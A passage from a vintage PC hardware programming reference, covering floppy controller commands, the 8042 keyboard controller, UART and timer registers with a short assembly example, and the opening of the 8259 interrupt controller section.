%       Scan Equal     D7  D6  D5  D4  D3  D2  D1  D0

        command byte 0:    MT  MF  SK 1   0 0   0 1
        command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
        command byte 2:    cylinder number
        command byte 3:    head number
        command byte 4:    sector number
        command byte 5:    bytes per sector
        command byte 6:    end of track (last sector in track)
        command byte 7:    gap 3 length
        command byte 8:    scan test (1=scan contiguous, 2=scan alternate)
        result byte 0:       status register 0
        result byte 1:       status register 1
        result byte 2:       status register 2
        result byte 3:       cylinder number
        result byte 4:       head number
        result byte 5:       sector number
        result byte 6:       bytes per sector

%       Scan Low or Equal  D7  D6  D5  D4  D3  D2  D1  D0

        command byte 0:    MT  MF  SK 1   1 0   0 1
        command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
        command byte 2:    cylinder number
        command byte 3:    head number
        command byte 4:    sector number
        command byte 5:    bytes per sector
        command byte 6:    end of track (last sector in track)
        command byte 7:    gap 3 length
        command byte 8:    scan test (1=scan contiguous, 2=scan alternate)
        result byte 0:       status register 0
        result byte 1:       status register 1
        result byte 2:       status register 2
        result byte 3:       cylinder number
        result byte 4:       head number
        result byte 5:       sector number
        result byte 6:       bytes per sector

%       Scan High or Equal D7  D6  D5  D4  D3  D2  D1  D0

        command byte 0:    MT  MF  SK 1   1 1   0 1
        command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
        command byte 2:    cylinder number
        command byte 3:    head number
        command byte 4:    sector number
        command byte 5:    bytes per sector
        command byte 6:    end of track (last sector in track)
        command byte 7:    gap 3 length
        command byte 8:    scan test (1=scan contiguous, 2=scan alternate)
        result byte 0:       status register 0
        result byte 1:       status register 1
        result byte 2:       status register 2
        result byte 3:       cylinder number
```

```
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Recalibrate    D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:     0   0   0 0   0 1   1 1
      command byte 1:     ?   ?   ? ?   ? 0  US1 US0
      returns nothing

%     Sense Interrupt    D7  D6  D5  D4  D3  D2  D1  D0
%         Status
      command byte 0:     0   0   0 0   1 0   0 0
      result byte 0:       status register 0
      result byte 1:       present cylinder number

%     Specify Step &       D7  D6  D5  D4  D3  D2  D1  D0
%       Head Load
      command byte 0:     0   0   0 0   0 0   1 1
      command byte 1:    step rate time ³ head unload time
      command byte 2:    ÄÄÄÄÄÄhead load timeÄÄÄÄÄÄ  ND
      returns nothing

%     Sense Drive    D7  D6  D5  D4  D3  D2  D1  D0
%       Status
      command byte 0:     0   0   0 0   0 1   0 0
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      result byte 0:       status register 3

%     Seek           D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:     0   0   0 0   1 1   1 1
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    new cylinder number
      returns nothing

%     æPD765 Version       D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:     ?   ?   ? 1   0 0   0 0
      result byte 0:       status register 0
                     90h = æPD765B;  80h = æPD765A or æPD765A-2

%     Invalid Command

      result byte 0:       status register 0 (value of 80h)


%     Key to Abbreviations
      HD = Head Number Selected     SK = SKip Deleted-data address mark
      MT = Multi-Track        US0 = drive select bit 0
      MF = MFM mode                 US1 = drive select bit 1
      ND = Non-DMA mode

      Head Load Time = 2 to 254ms in 2ms increments
      Head Unload Time = 16 to 240ms in 16ms increments
      Step Rate Time = 1 to 16ms in 1ms increments


      - PS/2 systems use the 8272A diskette controller which is software
        and port compatible with the NEC æPD765
      - accessed through ports 3F0h-3F7h;  NEC æPD765 is accessed through
        ports 3F2h, 3F4h and 3F5h;   the 8272A uses ports 3F0h, 3F1h,
        3F2h, 3F4h, 3F5h and 3F7h
```

```
      - data, command and status registers are all accessed through
        port 3F5h a register stack with one address presented to the bus
      - bit 7 of BIOS Data Area byte 40:3E can be polled to determine
        if a disk operation has completed;  this bit is set by the
        interrupt handler when the operation has completed;  it should
        be reset before continuing on with the next FDC operation

      - see  ~BIOS Data Area~   ~INT TABLE~   ~INT 13~

:8042:keyboard controller
^8042 - Keyboard Controller  (AT,PS/2)

%     8042 Status Register (port 64h read)

      ³7³6³5³4³3³2³1³0³  8042 Status Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ output register (60h) has data for system
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ input register (60h/64h) has data for 8042
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ system flag (set to 0 after power on reset)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ data in input register is command (1) or data (0)
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1=keyboard enabled, 0=keyboard disabled (via switch)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1=transmit timeout (data transmit not complete)
       ³ ÀÄÄÄÄÄÄÄÄÄÄ 1=receive timeout (data transmit not complete)
       ÀÄÄÄÄÄÄÄÄÄÄÄ 1=even parity rec'd, 0=odd parity rec'd (should be odd)

%     Port Mode          Description

      64h  read   8042 status register. Can be read at any time.  See
                table above for more information.
      64h  write  8042 command register.  Writing this port sets Bit 3
                of the status register to 1 and the byte is treated
                as a controller command.  Devices attached to the
                8042 should be disabled before issuing commands that
                return data since data in the output register will
                be overwritten.
      60h  read   8042 output register (should only be read if Bit 0 of
                status port is set to 1)
      60h  write  8042 data register.  Data should only be written if
                Bit 1 of the status register is zero (register is empty).
                When this port is written Bit 3 of the status register
                is set to zero and the byte is treated as a data.  The
                8042 uses this byte if it's expecting data for a previous
                command, otherwise the data is written directly to the
                keyboard.    See ~KEYBOARD COMMANDS~ for information on
                programming the actual keyboard hardware.


^8042 Commands Related to PC Systems  (Port 64h)

%     Command              Description

       20   Read 8042 Command Byte: current 8042 command byte is placed
            in port 60h.
       60   Write 8042 Command Byte: next data byte written to port 60h is
            placed in 8042 command register.   Format:

           ³7³6³5³4³3³2³1³0³  8042 Command Byte
            ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=enable output register full interrupt
            ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ should be 0
            ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1=set status register system, 0=clear
            ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1=override keyboard inhibit, 0=allow inhibit
            ³ ³ ³ ÀÄÄÄÄÄÄÄÄ disable keyboard I/O by driving clock line low
            ³ ³ ÀÄÄÄÄÄÄÄÄÄ disable auxiliary device, drives clock line low
            ³ ÀÄÄÄÄÄÄÄÄÄÄ IBM scancode translation 0=AT, 1=PC/XT
```

```
     ÀÄÄÄÄÄÄÄÄÄÄÄ reserved, should be 0

A4   Password Installed Test: returned data can be read
     from port 60h;  FA=password installed, F1=no password
A5   Load Security: bytes written to port 60h will be read
     until a null (0) is found.
A6   Enable Security: works only if a password is already loaded
A7   Disable Auxiliary Interface: sets Bit 5 of command register
     stopping auxiliary I/O by driving the clock line low
A8   Enable Auxiliary Interface: clears Bit 5 of command register
A9   Auxiliary Interface Test: clock and data lines are tested;
     results placed at port 60h are listed below:

     00  no error
     01  keyboard clock line is stuck low
     02  keyboard clock line is stuck high
     03  keyboard data line is stuck low
     04  keyboard data line is stuck high

AA   Self Test: diagnostic result placed at port 60h, 55h=OK
AB   Keyboard Interface Test:     clock and data lines are tested;
     results placed at port 60h are listed above with command A9
AC   Diagnostic Dump: sends 16 bytes of 8042's RAM, current input
     port state, current output port state and 8042 program status
     word to port 60h in scan-code format.
AD   Disable Keyboard Interface: sets Bit 4 of command register
     stopping keyboard I/O by driving the clock line low
AE   Enable Keyboard Interface: clears Bit 4 of command register
     enabling keyboard interface.
C0   Read Input Port: data is read from its input port (which is
     inaccessible to the data bus) and written to output register
     at port 60h;  output register should be empty before call.

      ³7³6³5³4³3-0³  8042 Input Port
     ³ ³ ³ ³ ÀÄÄÄÄ undefined
     ³ ³ ³ ÀÄÄÄÄÄ 1=enable 2nd 256K of motherboard RAM, 0=disable
     ³ ³ ÀÄÄÄÄÄÄ 1=manufacturing jumper not installed, 0=installed
     ³ ÀÄÄÄÄÄÄÄ 1=primary display is MDA, 0=primary display is CGA
     ÀÄÄÄÄÄÄÄÄ 1=keyboard not inhibited, 0=keyboard inhibited

C1   Poll Input Port Low Bits: Bits 0-3 of port 1 placed in
     status Bits 4-7
C2   Poll Input Port High Bits: Bits 4-7 of port 1 placed in
     status Bits 4-7
D0   Read Output Port: data is read from 8042 output port (which is
     inaccessible to the data bus) and placed in output register;
     the output register should be empty.  (see command D1 below)
D1   Write Output Port: next byte written to port 60h is placed in
     the 8042 output port (which is inaccessible to the data bus)

     ³7³6³5³4³3³2³1³0³  8042 Output Port
      ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line
      ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20
      ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄÄ undefined
      ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ output buffer full
      ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ input buffer empty
      ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output)
      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output)

D2   Write Keyboard Output Register: on PS/2 systems the next data
     byte written to port 60h input register is written to port 60h
     output register as if initiated by a device; invokes interrupt
     if enabled
```

```
 D3   Write Auxiliary Output Register: on PS/2 systems the next data
      byte written to port 60h input register is written to port 60h
      output register as if initiated by a device; invokes interrupt
      if enabled
 D4   Write Auxiliary Device: on PS/2 systems the next data byte
      written to input register a port at 60h is sent to the
      auxiliary device
 E0   Read Test Inputs: 8042 reads its T0 and T1 inputs; data is
      placed in output register;  Bit 0 is T0, Bit 1 is T1:

      ³1³0³  Test Input Port Bits
       ³ ÀÄÄÄÄ keyboard clock
       ÀÄÄÄÄÄÄ keyboard data

 Fx   Pulse Output Port: Bits 0-3 of the 8042 output port can be
      pulsed low for 6 æs;  Bits 0-3 of command indicate which
      Bits should be pulsed; 0=pulse, 1=don't pulse; pulsing
      Bit 0 results in CPU reset since it is connected to system
      reset line.
```

- PC systems previous to the AT use the 8255 PPI as a keyboard controller and use the keyboard's internal 8048.
- the keyboard's internal controller buffers up to 16 bytes of make/break code information.   This is common among all PC systems and shouldn't be confused with the (32 byte) keyboard buffer maintained by the BIOS.
- see ~KEYBOARD COMMANDS~ for information on programming the keyboards internal microprocessor

:8250:16450:16550:UART
^UART - Universal Asynchronous Receiver/Transmitter

```
%      Port            Description

      3F8/2F8   Transmit/Receive Buffer  (read/write)
                Baud Rate Divisor LSB if bit 7 of LCR is set (read/write)
      3F9/2F9   IER - Interrupt Enable Register  (read/write)
                Baud Rate Divisor MSB if bit 7 of LCR is set (read/write)
      3FA/2FA   IIR - Interrupt Identification Register  (read only)
                FCR - 16550 FIFO Control Register  (write only)
      3FB/2FB   LCR - Line Control Register  (read/write)
      3FC/2FC   MCR - Modem Control Register   (read/write)
      3FD/2FD   LSR - Line Status Register  (read only)
      3FE/2FE   MSR - Modem Status Register  (read only)
      3FF/2FF   Scratch Pad Register     (read/write)
```

^Detailed UART Description

```
%     Port 3F8 - Transmit/Receive Buffer  (read/write)
%             Baud Rate Divisor LSB if bit 7 of LCR is set  (read/write)

%     Port 3F9 - Interrupt Enable Register - IER  (read/write)
%             Baud Rate Divisor MSB if bit 7 of LCR is set  (read/write)

      ³7³6³5³4³3³2³1³0³  2F9, 3F9: Interrupt Enable Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = enable data available int (and 16550 Timeout)
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = enable THRE interrupt
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = enable lines status interrupt
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = enable modem-status-change interrupt
       ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄ reserved (zero)
```

- 16550 will interrupt if data exists in the FIFO and isn't read within the time it takes to receive four bytes or if no data is

```
        received within the time it takes to receive four bytes.


^Baud Rate Divisor Table

%                Baud Rate                     Baud Rate
%    Baud Rate           Divisor           Baud Rate      Divisor

        50       900h          2400            30h
       110       417h          3600            20h
       150       300h          4800            18h
       300       180h          7200            10h
       600        C0h          9600            0Ch
      1200        60h         19200            06h
      1800        40h         38400            03h
      2000        3Ah        115200            01h

      - Baud rate divisors can be calculated by taking the oscillating
        frequency (1,843,200) and dividing by the quantity of the desired
        baud rate times the UART clocking factor (16).  Use the following
        formula:
^divisor = 1843200 / (BaudRate * 16);


^Port 3FA - Interrupt Identification Register - IIR  (read only)

      ³7³6³5³4³3³2³1³0³  2FA, 3FA Interrupt ID Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = no int. pending, 0=int. pending
       ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ Interrupt Id bits (see below)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 16550  1 = timeout int. pending, 0 for 8250/16450
       ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄ reserved (zero)
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 16550  set to 1 if FIFO queues are enabled

%     Bits
%      21     Meaning        Priority          To reset
       00  modem-status-change      lowest       read MSR
       01  transmit-register-empty  low     read IIR / write THR
       10  data-available          high    read rec buffer reg
       11  line-status       highest      read LSR

      - interrupt pending flag uses reverse logic, 0 = pending, 1 = none
      - interrupt will occur if any of the line status bits are set
      - THRE bit is set when THRE register is emptied into the TSR


^Port 3FA - 16550 FIFO Control Register - FCR  (write only)

      ³7³6³5³4³3³2³1³0³  2FA, 3FA  FIFO Control Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = enable clear XMIT and RCVR FIFO queues
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = clear RCVR FIFO
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = clear XMIT FIFO
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = change RXRDY & TXRDY pins from mode 0 to mode 1
       ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄ reserved (zero)
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ trigger level for RCVR FIFO interrupt

%     Bits    RCVR FIFO
%      76   Trigger Level
       00      1 byte
       01      4 bytes
       10      8 bytes
       11     14 bytes

      - Bit 0 must be set in order to write to other FCR bits
```

```
      - Bit 1 when set to 1 the RCVR FIFO is cleared and this bit is reset.
        The receiver shift register is not cleared.
      - Bit 2 when set to 1 the XMIT FIFO is cleared and this bit is reset.
        The transmit shift register is not cleared.


^Port 3FB - Line Control Register - LCR  (read/write)

      ³7³6³5³4³3³2³1³0³  2FB, 3FB  Line Control Register
       ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄ word length select bits (see below)
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 0 = 1 stop bit, 1 = 1.5 or 2  (see note)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 0 = no parity, 1 = parity (PEN)
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 0 = odd parity, 1 = even (EPS)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 0 = parity disabled, 1 = enabled
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ 0 = turn break off, 1 = force spacing break state
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = baud rate divisor (DLAB); 0 = RBR, THR or IER

%     Bits
%      10   Word length bits
       00 = 5 bits per character
       01 = 6 bits per character
       10 = 7 bits per character
       11 = 8 bits per character

      - stop bits = 1.5 for 5 bit words or 2 for 6, 7 or 8 bit words
      - bit 7 changes the mode of registers 3F8 and 3F9.  If set these
        registers become the LSB and MSB of the baud rate divisor.
        Otherwise 3F8 is the Transmit/Receive Buffer Register and 3F9 is
        the Interrupt Enable Register.


^Port 3FC - Modem Control Register - MCR  (read/write)

      ³7³6³5³4³3³2³1³0³  2FC, 3FC  Modem Control Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = activate DTR
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = activate RTS
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ OUT1
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ OUT2
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 0 = normal, 1 = loop back test
       ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄ reserved (zero)

      - If bit 4 is set, data from the Transmit Shift Register is received
        in the Receiver Shift Register.  The SOUT line is set to logic
        high, the SIN line and control lines are disconnected.   CTS, DSR,
        RI and CD inputs are disconnected.  DTR, RTS, OUT1 and OUT2 are
        then connected internally.


^Port 3FD - Line Status Register - LSR   (read only)

      ³7³6³5³4³3³2³1³0³  2FD, 3FD Line Status Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = data ready
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = overrun error (OE)
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = parity error (PE)
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = framing error (FE)
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = break interrupt  (BI)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 1 = transmitter holding register empty (THRE)
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = transmitter shift register empty (TSRE)
       ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1 = 16550 PE/FE/Break in FIFO queue, 0 for 8250 & 16450

      - Bit 0 is set when a byte is placed in the Receiver Buffer Register
        and cleared when the byte is read by the CPU (or when the CPU
        clears the FIFO for the 16550).  Results in Receive Data Available
```

```
  Interrupts if enabled.
- Bits 1-4 indicate errors and result in Line Status Interrupts
  if enabled.
- Bit 1 is set when a second byte is received before the byte
  in the Receiver Buffer Register is read by the CPU (the 16550 in
  FIFO mode sets this bit when the queue is full and the byte in the
  Receiver Shift Register hasn't been moved into the queue).  This
  bit is reset when the CPU reads the LSR
- Bit 2 is set whenever a byte is received that doesn't match the
  requested parity.  Reset upon reading the LSR.  (The 16550 maintains
  parity information with each byte and sets bit 2 only when the byte
  is at the top of the FIFO queue.)
- Bit 3 is set when a character is received without proper stop
  bits.  Upon detecting a framing error the UART attempts to
  resynchronize.  Reset by reading the LSR.  (The 16550 maintains
  this information with each byte and sets bit 3 only when the byte
  is at the top of the FIFO queue.)
- Bit 4 is set when a break condition is sensed (when space is
  detected for longer than 1 fullword).  A zero byte is placed in
  the Receiver Buffer Register (or 16550 FIFO).  Reset by reading
  the LSR.  (The 16550 maintains this information with each byte and
  sets bit 4 only when the byte is at the top of the FIFO queue.)
- Bit 5 is set when the Transmit Holding Register shifts a byte
  into the Transmit Shift Register (or XMIT FIFO queue is empty for
  16550) and is cleared when a byte is written to the THR (or the
  XMIT FIFO).     Results in Transmit Holding Register Empty interrupts
  if enabled.
- Bit 6 is set when both the Transmitter Holding Register and the
  Transmitter Shift Register are empty. On the 16550, when the XMIT
  FIFO and Transmitter Shift Register are empty.
- Bit 7 is 16550 specific and indicates there is a byte in the FIFO
  queue that was received with a Parity, Framing or Break error.
```

^Port 3FE - Modem Status Register - MSR (read only)

```
³7³6³5³4³3³2³1³0³  2FE, 3FE Modem Status Register
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = DCTS  Delta CTS  (CTS changed)
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = DDSR  Delta DSR  (DSR changed)
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = RI ring indicator changed
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = DDCD  Delta Data Carrier Detect (DCD changed)
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = CTS
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = DSR
 ³ ÀÄÄÄÄÄÄÄÄÄÄ 1 = ring indicator (RI)
 ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = receive line signal detect

- Bits 0-3 are reset when the CPU reads the MSR
- Bit 4 is the Modem Control Register RTS during loopback test
- Bit 5 is the Modem Control Register DTR during loopback test
- Bit 6 is the Modem Control Register OUT1 during loopback test
- Bit 7 is the Modem Control Register OUT2 during loopback test
```

^Port 3FF/2FF - Scratch Pad Register (read/write)

```
%     Programming considerations:
      - 8250's, 16450's are essentially identical to program
      - 16550's is pin and software compatible with the 16450 but has an
        internal FIFO queue that may be enabled/disabled by software
      - PCs are capable of 38.4Kb, while AT's are capable of 115.2Kb
      - receiver checks only the first stop bit of each character regardless
        of the number of stop bits specified
      - Older 8250 and 16450 UARTs may lose THRE interrupt if the THRE and
        Receive Data (RD) or the Line Status (LS) interrupts occur
```

```
        simultaneously during a full duplex transmission.  RD and LS have
        higher priority than THRE which causes the lower priority interrupt
        to be lost.  The following are 3 methods used to avoid this problem:

        1. Disable/re-enable THRE interrupt via the IER after processing
           Receive Data & Line Status interrupts.
        2. While inside the RD and LS interrupt routines check the LSR
           THRE bit and set a flag that a THRE interrupt was waiting.
        3. Poll the LSR THRE bit instead of using the IRR.

      - data loss can occur without overrun or framing errors if the
        interrupts are serviced too slowly
      - reserved bits are usually set to zero.  Code should NOT rely on
        this being the case since future enhancement may use these bits
      - see  ~INT TABLE~  or  ~IRQ~  for interrupt assignments
      - see  ~PORTS~   for COMx port assignment (3F8,2F8,3E8,2E8,3220...)
:8253:8254:PIT:timer
^8253/8254 PIT - Programmable Interval Timer

      Port 40h, 8253 Counter 0 Time of Day Clock (normally mode 3)
      Port 41h, 8253 Counter 1 RAM Refresh Counter (normally mode 2)
      Port 42h, 8253 Counter 2 Cassette and Speaker Functions
      Port 43h, 8253 Mode Control Register, data format:

      ³7³6³5³4³3³2³1³0³  Mode Control Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 0=16 binary counter, 1=4 decade BCD counter
       ³ ³ ³ ³ ÀÄÄÁÄÄÄÄÄÄÄ counter mode bits
       ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄ read/write/latch format bits
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ counter select bits (also 8254 read back command)

%     Bits
%      76 Counter Select Bits
       00  select counter 0
       01  select counter 1
       10  select counter 2
       11  read back command (8254 only, illegal on 8253, see below)

%     Bits
%      54  Read/Write/Latch Format Bits
       00  latch present counter value
       01  read/write of MSB only
       10  read/write of LSB only
       11  read/write LSB, followed by write of MSB

%     Bits
%     321  Counter Mode Bits
      000  mode 0, interrupt on terminal count;  countdown, interrupt,
           then wait for a new mode or count; loading a new count in the
           middle of a count stops the countdown
      001  mode 1, programmable one-shot; countdown with optional
           restart; reloading the counter will not affect the countdown
           until after the following trigger
      010  mode 2, rate generator; generate one pulse after 'count' CLK
           cycles; output remains high until after the new countdown has
           begun; reloading the count mid-period does not take affect
           until after the period
      011  mode 3, square wave rate generator; generate one pulse after
           'count' CLK cycles; output remains high until 1/2 of the next
           countdown; it does this by decrementing by 2 until zero, at
           which time it lowers the output signal, reloads the counter
           and counts down again until interrupting at 0; reloading the
           count mid-period does not take affect until after the period
      100  mode 4, software triggered strobe; countdown with output high
```

```
          until counter zero;  at zero output goes low for one CLK
          period;  countdown is triggered by loading counter;  reloading
          counter takes effect on next CLK pulse
     101  mode 5, hardware triggered strobe; countdown after triggering
          with output high until counter zero; at zero output goes low
          for one CLK period
```

%   Read Back Command Format (8254 only)

```
     ³7³6³5³4³3³2³1³0³ Read Back Command (written to Mode Control Reg)
      ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ must be zero
      ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ select counter 0
      ³ ³ ³ ³ ³ ÀÄÄÄÄÄ select counter 1
      ³ ³ ³ ³ ÀÄÄÄÄÄÄ select counter 2
      ³ ³ ³ ÀÄÄÄÄÄÄÄ 0 = latch status of selected counters
      ³ ³ ÀÄÄÄÄÄÄÄÄ 0 = latch count of selected counters
      ÀÄÁÄÄÄÄÄÄÄÄÄÄ 11 = read back command
```

%   Read Back Command Status (8254 only, read from counter register)

```
     ³7³6³5³4³3³2³1³0³  Read Back Command Status
      ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 0=16 binary counter, 1=4 decade BCD counter
      ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ counter mode bits (see Mode Control Reg above)
      ³ ³ ÀÄÁÄÄÄÄÄÄÄÄÄÄ read/write/latch format (see Mode Control Reg)
      ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1=null count (no count set), 0=count available
      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ state of OUT pin (1=high, 0=low)
```

- the 8253 is used on the PC & XT, while the 8254 is used on the AT+
- all counters are decrementing and fully independent
- the PIT is tied to 3 clock lines all generating 1.19318 MHz.
- the value of 1.19318MHz is derived from (4.77/4 MHz) and has it's roots based on NTSC frequencies
- counters are 16 bit quantities which are decremented and then tested against zero. Valid range is (0-65535). To get a value of 65536 clocks you must specify 0 as the default count since 65536 is a 17 bit value.
- reading by latching the count doesn't disturb the countdown but reading the port directly does; except when using the 8254 Read Back Command
- counter 0 is the time of day interrupt and is generated approximately 18.2 times per sec. The value 18.2 is derived from the frequency 1.10318/65536 (the normal default count).
- counter 1 is normally set to 18 (dec.) and signals the 8237 to do a RAM refresh approximately every 15æs
- counter 2 is normally used to generate tones from the speaker but can be used as a regular counter when used in conjunction with the 8255
- newly loaded counters don't take effect until after a an output pulse or input CLK cycle depending on the mode
- the 8253 has a max input clock rate of 2.6MHz, the 8254 has max input clock rate of 10MHz

%   Programming considerations:

1. load Mode Control Register
2. let bus settle (jmp $+2)
3. write counter value
4. if counter 0 is modified, an INT 8 handler must be written to call the original INT 8 handler every 18.2 seconds. When it does call the original INT 8 handler it must NOT send and EOI to the ~8259~ for the timer interrupt, since the original INT 8 handler will send the EOI also.

```
%     Example code:

      countdown  equ    8000h ; approx 36 interrupts per second

         cli
         mov      al,00110110b  ; bit 7,6 = (00) timer counter 0
                        ; bit 5,4 = (11) write LSB then MSB
                        ; bit 3-1 = (011) generate square wave
                        ; bit 0 = (0) binary counter
         out      43h,al            ; prep PIT, counter 0, square wave&init
count
         jmp      $+2
         mov      cx,countdown  ; default is 0x0000 (65536) (18.2 per sec)
                        ; interrupts when counter decrements to 0
         mov      al,cl       ; send LSB of timer count
         out      40h,al
         jmp      $+2
         mov      al,ch       ; send MSB of timer count
         out      40h,al
         jmp      $+2
         sti
:8259:PIC
^8259  Programmable Interrupt Controller  (PIC)

%     Initialization Command Word 1 at Port 20h and A0h

      ³7³6³5³4³3³2³1³0³  ICW1
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=ICW4 is needed, 0=no ICW4 needed
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1=single 8259, 0=cascading 8259's
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1=4 byte interrupt vectors, 0=8 byte int vectors
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1=level triggered mode, 0=edge triggered mode
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ must be 1 for ICW1 (port must also be 20h or A0h)
       ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄ must be zero for PC systems

%     Initialization Command Word 2 at Port 21h and A1h

      ³7³6³5³4³3³2³1³0³  ICW2
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ 000= on 80x86 systems
       ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄ A7-A3 of 80x86 interrupt vector

%     Initialization Command Word 3 at Port 21h and A1h

      ³7³6³5³4³3³2³1³0³  ICW3 for Master Device
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=interrupt request 0 has slave, 0=no slave
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1=interrupt request 1 has slave, 0=no slave
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1=interrupt request 2 has slave, 0=no slave
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1=interrupt request 3 has slave, 0=no slave
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1=interrupt request 4 has slave, 0=no slave
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1=interrupt request 5 has slave, 0=no slave
       ³ ÀÄÄÄÄÄÄÄÄÄÄ 1=interrupt request 6 has slave, 0=no slave
       ÀÄÄÄÄÄÄÄÄÄÄÄ 1=interrupt request 7 has slave, 0=no slave

      ³7³6³5³4³3³2³1³0³  ICW3 for Slave Device
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ master interrupt request slave is attached to
       ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄ must be zero

%     Initialization Command Word 4 at Port 21h and A1h

      ³7³6³5³4³3³2³1³0³  ICW4
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 for 80x86 mode, 0 = MCS 80/85 mode
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = auto EOI, 0=normal EOI
       ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ slave/master buffered mode (see below)
```

```
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = special fully nested mode (SFNM), 0=sequential
 ÀÄÁÁÁÁÄÄÄÄÄÄÄÄÄÄ unused (set to zero)
```

% Bits
% 32 Buffering Mode

